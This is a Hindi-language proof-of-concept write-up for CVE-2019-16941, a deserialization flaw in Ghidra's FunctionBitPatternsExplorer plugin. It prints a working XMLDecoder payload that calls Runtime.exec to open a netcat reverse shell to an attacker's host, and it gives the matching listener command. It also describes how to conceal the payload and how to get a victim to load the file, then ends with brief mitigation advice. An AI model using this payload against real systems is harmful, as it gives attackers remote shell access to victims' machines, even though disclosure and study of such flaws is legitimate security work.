
CVE-2019-16941 के लिए PoC
प्रमाण-अवधारणा:
इस भेद्यता को ट्रिगर होने के लिए कई और अपेक्षाकृत असंभव स्थितियों की आवश्यकता होती है, यह तथ्य इसकी शोषण क्षमता को सीमित करता है। हालाँकि, इस तथ्य को देखते हुए कि यह मनमाना कोड निष्पादन का कारण बन सकता है, पेलोड तैयार करने में बहुत कम प्रयास और समझ लगती है।
पेलोड तैयार करना:
लक्ष्य पर चलाने के लिए पेलोड बनाने हेतु, Ghidra में शामिल एक स्क्रिप्ट का उपयोग किया जा सकता है। इसे एक्सेस करने के लिए, "Window" -> "Script Manager" पर क्लिक करें और Code Browser में शामिल किए गए किसी भी बाइनरी पर डिफ़ॉल्ट पैरामीटर्स के साथ "DumpFunctionPatternInfoScript.java" चलाएँ (लेकिन सुनिश्चित करें कि जिस फ़ोल्डर में आप आउटपुट सहेजना चाहते हैं उसका पथ मौजूद है)। यह स्क्रिप्ट एक XML आउटपुट फ़ाइल बनाती है जिसे बाद में भेद्य घटक में लोड किया जाएगा।

इस XML टेम्पलेट का उपयोग उस ऑब्जेक्ट को इंजेक्ट करने के लिए किया जा सकता है जिसे Java कोड के रूप में डिसीरियलाइज़ किया जाएगा और उपयोगकर्ता को सचेत किए बिना चुपचाप निष्पादित किया जाएगा। मूल रूप से, दुर्भावनापूर्ण कोड को XML फ़ाइल के अंत में, क्लोज़िंग टैग से पहले एक अतिरिक्त ऑब्जेक्ट के रूप में डाला जाएगा। रिवर्स शेल का प्रतिनिधित्व करने वाले ऑब्जेक्ट पेलोड का एक उदाहरण निम्नलिखित है:
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
उपरोक्त को निम्नलिखित Java कोड में डिसीरियलाइज़ किया जाएगा:
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
पेलोड के संदर्भ में विकल्प असीमित हैं, क्योंकि कोई भी Java कोड (यहाँ तक कि परिष्कृत मैलवेयर) इस तरह से चलाया जा सकता है, बशर्ते वह XMLDecoder द्वारा आवश्यक XML प्रारूप में सही ढंग से सीरियलाइज़ किया गया हो। यदि पेलोड को टेम्पलेट के भीतर कहीं और डाला जाता है (इसे और छिपाने के लिए), तो सावधानी बरती जानी चाहिए, क्योंकि डिसीरियलाइज़ेशन के दौरान यह अपवाद उत्पन्न कर सकता है, जिससे उपयोगकर्ता सचेत हो जाएगा।
निष्पादन:
जिस प्रक्रिया के माध्यम से पेलोड निष्पादित होता है वह Ghidra GUI का उपयोग करती है और इसे स्वचालित नहीं किया जा सकता। इसके बजाय, इसके लिए पीड़ित से मानवीय संपर्क की आवश्यकता होती है, जो शोषण के चलने के लिए एक और शर्त है।
इस शोषण को पीड़ित के कंप्यूटर पर काम करने के लिए, Ghidra में प्रायोगिक प्लगइन "FunctionBitPatternsExplorer" सक्षम होना आवश्यक है। इसे नीचे दिए गए चरणों का पालन करके प्राप्त किया जा सकता है:

इसके बाद, उपयोगकर्ता को "Window" -> "Function Bit Patterns Explorer" से प्लगइन खोलना होगा और "Read XML Files" कार्यक्षमता का उपयोग करके XML फ़ाइल लोड करनी होगी। हालाँकि, यह शर्तों वाले भाग के लिए एक और चुनौती पैदा करता है। हमलावर को एक ऐसा तरीका चाहिए जिससे उपयोगकर्ता XML पेलोड को अपनी मशीन पर डाउनलोड कर ले।
पीड़ित के दृष्टिकोण से देखें तो, फ़ंक्शन आपको सूची में XML फ़ाइलें नहीं दिखने देगा, इसलिए यदि आपकी निर्देशिका खाली दिखती है तो यह सामान्य है। यदि आप "File name" टेक्स्टबॉक्स में उनका नाम टाइप करना शुरू करते हैं, तो वे दिखाई देंगी, हालाँकि यह महत्वपूर्ण है कि उनमें से किसी का चयन न करें और चयनकर्ता को निर्देशिका की ओर इंगित छोड़ दें, क्योंकि यह फ़ाइलों को स्वयं चुन लेगा।

उपयोगकर्ता "OK" पर क्लिक करने से पहले, हमलावर (joe) को अपने दूरस्थ होस्ट पर एक लिसनर चला रहा होना चाहिए और कनेक्शन की प्रतीक्षा करनी चाहिए। इसे आसानी से प्राप्त किया जा सकता है:
$ nc -lvnp <listening_port>
निष्पादन के बाद, परिणाम नीचे देखे जा सकते हैं:

इस भेद्यता का बड़े पैमाने पर शोषण किए जाने की संभावना बहुत कम है, क्योंकि इसमें कई शर्तें शामिल हैं। जब तक कोई नया पैच उपलब्ध नहीं कराया जाता, सबसे अच्छी शमन स्थितियों में प्रभावित प्रायोगिक प्लगइन को अक्षम करना (या पहले स्थान पर सक्षम न करना) शामिल है। हालाँकि, यदि प्लगइन का उपयोग किया जाना आवश्यक है, तो XML फ़ाइलें किसी विश्वसनीय स्रोत से आनी चाहिए।